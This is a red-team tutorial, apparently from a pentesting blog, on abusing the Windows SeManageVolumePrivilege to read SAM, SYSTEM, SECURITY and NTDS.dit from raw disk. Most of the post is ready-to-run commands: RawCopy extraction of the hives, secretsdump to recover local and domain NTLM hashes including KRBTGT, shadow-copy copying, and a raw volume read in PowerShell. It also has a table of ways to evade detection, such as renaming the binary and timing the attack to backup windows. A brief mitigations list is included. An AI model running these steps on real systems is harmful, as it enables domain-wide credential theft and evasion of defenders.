windows

SeManageVolumePrivilege: Raw Disk for SAM and NTDS.dit without lock

SeManageVolumePrivilege: Raw Disk for SAM and NTDS.dit without lock

How to use SeManageVolumePrivilege and RawCopy to extract SAM, SYSTEM, and NTDS.dit from the physical disk, bypassing locks and ACLs. Red Team technique with raw device access.

  • Posted on 2026-06-12
  • Reading time: 4 min

reg save It's monitored, Backup Operators are hardened, but you still have SeManageVolumePrivilege. With RawCopy, you can read the physical sectors of the disk, bypassing locks and ACLs—SAM, SYSTEM, and NTDS.dit are extracted directly, with no filesystem APIs involved.


Quick Exploit #

cmd
manage-bde -status C:

Se Protection Off → BitLocker missing → proceed:

cmd
RawCopy.exe /FileNamePath:C:\Windows\System32\config\SAM /OutputPath:C:\temp
RawCopy.exe /FileNamePath:C:\Windows\System32\config\SYSTEM /OutputPath:C:\temp

On attacking machine:

bash
python3 secretsdump.py -sam sam -system system LOCAL

Attack Chain #

text
Account servizio backup/storage compromesso
  → manage-bde -status C: → BitLocker Off
  → RawCopy.exe → SAM + SYSTEM → C:\temp\
  → secretsdump LOCAL → hash NTLM locali
  OPPURE
  → RawCopy.exe → ntds.dit + SYSTEM (su DC)
  → secretsdump LOCAL → tutti gli hash AD → KRBTGT

Tool Decision #

TargetCommand
Local SAM/SYSTEMRawCopy.exe /FileNamePath:C:\Windows\System32\config\SAM
NTDS.dit on DCRawCopy.exe /FileNamePath:C:\Windows\NTDS\ntds.dit
Direct escalationSeManageVolumeExploit.exe CsEnox/SeManageVolumeExploit
Shadow copy + rawvssadmin create shadow /for=C: → copy from VSS path

What is SeManageVolumePrivilege? #

Allows you to open a physical volume as a raw device via \\.\C: o \\.\PhysicalDrive0With raw access, you read the disk sectors directly—OS locks and NTFS ACLs don't apply at this level. The same result as SeBackupPrivilege, but with a completely different and less monitored mechanism.

Warning: If BitLocker is enabled on the volume, the read sectors are encrypted → data is unusable without the decryption key.


When it exists #

  • Administrators (high token)
  • Veeam / Acronis / NetBackup Service Accounts — require volume management access
  • Storage management tools — disk monitoring, defragmentation, analysis
  • Account with custom policy for storage operations

Verify:

cmd
whoami /priv

Looking for:

text
SeManageVolumePrivilege    Manage the files on a volume    Enabled

Who has privilege in the system:

cmd
accesschk.exe -a SeManageVolumePrivilege *

Step 1 — Verify BitLocker on the target volume #

Before proceeding, make sure the volume is not encrypted:

cmd
manage-bde -status C:

If the state is Protection On → BitLocker is active → raw data is encrypted → this vector is not viable.


Step 2 — Exploit with SeManageVolumeExploit #

Usa FSCTL_SD_GLOBAL_CHANGE to manipulate the volume security descriptor and gain write access to system files. Downloadable from CsEnox/SeManageVolumeExploit :

cmd
SeManageVolumeExploit.exe

Step 3 — Extracting SAM/SYSTEM with RawCopy #

RawCopy reads files at the physical sector level, parsing NTFS internally. It doesn't depend on filesystem APIs—it bypasses locks and ACLs.

cmd
RawCopy.exe /FileNamePath:C:\Windows\System32\config\SAM /OutputPath:C:\temp
cmd
RawCopy.exe /FileNamePath:C:\Windows\System32\config\SYSTEM /OutputPath:C:\temp
cmd
RawCopy.exe /FileNamePath:C:\Windows\System32\config\SECURITY /OutputPath:C:\temp

Then extract the hashes offline:

bash
python3 secretsdump.py -sam sam -system system -security security LOCAL

variants #

NTDS.dit on DC via raw access #

NTDS.dit is locked while running, but RawCopy reads at the sector level, bypassing the lock:

cmd
RawCopy.exe /FileNamePath:C:\Windows\NTDS\ntds.dit /OutputPath:C:\temp
cmd
RawCopy.exe /FileNamePath:C:\Windows\System32\config\SYSTEM /OutputPath:C:\temp

Then complete extraction of the domain:

bash
python3 secretsdump.py -ntds ntds.dit -system system LOCAL

Volume Shadow Copy + raw access #

With SeManageVolumePrivilege you can also create shadow copies and access files via the VSS path:

cmd
vssadmin create shadow /for=C:

The output shows the shadow copy path, for example:

text
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Then copy directly:

cmd
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM" C:\temp\sam
cmd
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\temp\system

PowerShell — raw volume read #

Open the volume as a raw stream:

powershell
$stream = [System.IO.File]::Open("\\.\C:", [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite)
$buffer = New-Object byte[] 512
$stream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
$bytesRead = $stream.Read($buffer, 0, 512)
$stream.Close()

This approach requires a custom NTFS parser to extract specific files from offsets — use RawCopy which handles this internally.


Real-world scenarios #

Backup software with service accounts — Veeam, NetBackup, and Acronis require volume management access. If the service account is compromised, RawCopy extracts SAM and SYSTEM directly without going through monitored APIs.

Alternative to reg save in monitored environments reg save Generates well-known event IDs. Raw disk access is a less common pattern in many SIEMs and EDRs.


Common mistakes #

BitLocker active → raw read returns encrypted data — ALWAYS check first: manage-bde -status C:. It Protection On → this vector is not viable.

\\.\C: → Access Denied — Privilege not enabled in token. Verify: whoami /priv | findstr SeManageVolume.

secretsdump fails to decrypt — SAM and SYSTEM extracted at different times (boot key changes). Re-extract both at the same time with two consecutive RawCopy commands.

RawCopy on NTDS.dit returns a corrupt file — Try shadow copying instead: vssadmin create shadow /for=C: then copy from the VSS output path.


Detection and bypass (Red Team view) #

What the Blue Team detectsHow the Red Team bypasses it
Event ID 4656 — handle su \\.\C: from non-backup processRun during the scheduled legitimate backup time window
RawCopy.exe — abnormal process nameRename the binary before uploading it to the target
vssadmin create shadow out of hoursUse RawCopy directly instead of going through VSS

When it fails #

  • BitLocker active → unusable raw read — only truly effective mitigation
  • Privilege Not Enabled → \\.\C: Access Denied
  • NTDS.dit corrupted by RawCopy → use vssadmin + copy from shadow path

Mitigations #

  • BitLocker on all critical volumes — makes raw access completely unusable
  • Remove SeManageVolumePrivilege from unnecessary accounts
  • Monitor Event ID 4656 with ObjectType = Volume from non-standard account
  • gMSA for backup service accounts

Realistic note: BitLocker is not always deployed on servers, especially on legacy enterprise machines. In pentests, manage-bde -status It is one of the first commands to run after checking the privilege.


FAQ #

Why use it instead of SeBackupPrivilege? When SeBackupPrivilege is removed or reg save It is monitored. Raw disk access is a less common pattern in many SIEMs and EDR rulesets.

Does RawCopy handle NTFS parsing automatically? Yes — specify the normal Windows path, and RawCopy calculates the disk offset internally.


SeManageVolumePrivilege is the alternative credential dump vector when standard methods are monitored — BitLocker is the only mitigation that makes it unusable.


Related articles:

References: SeManageVolumeExploit · Microsoft Docs

For backup and storage surface assessment: hackita.it/servizi References: SeManageVolumeExploit · Microsoft Docs

For backup and storage surface assessments: hackita.it/servizi

#semanagevolumeprivilege #raw-disk-access #credential-dump

leave a message

I'm not a robot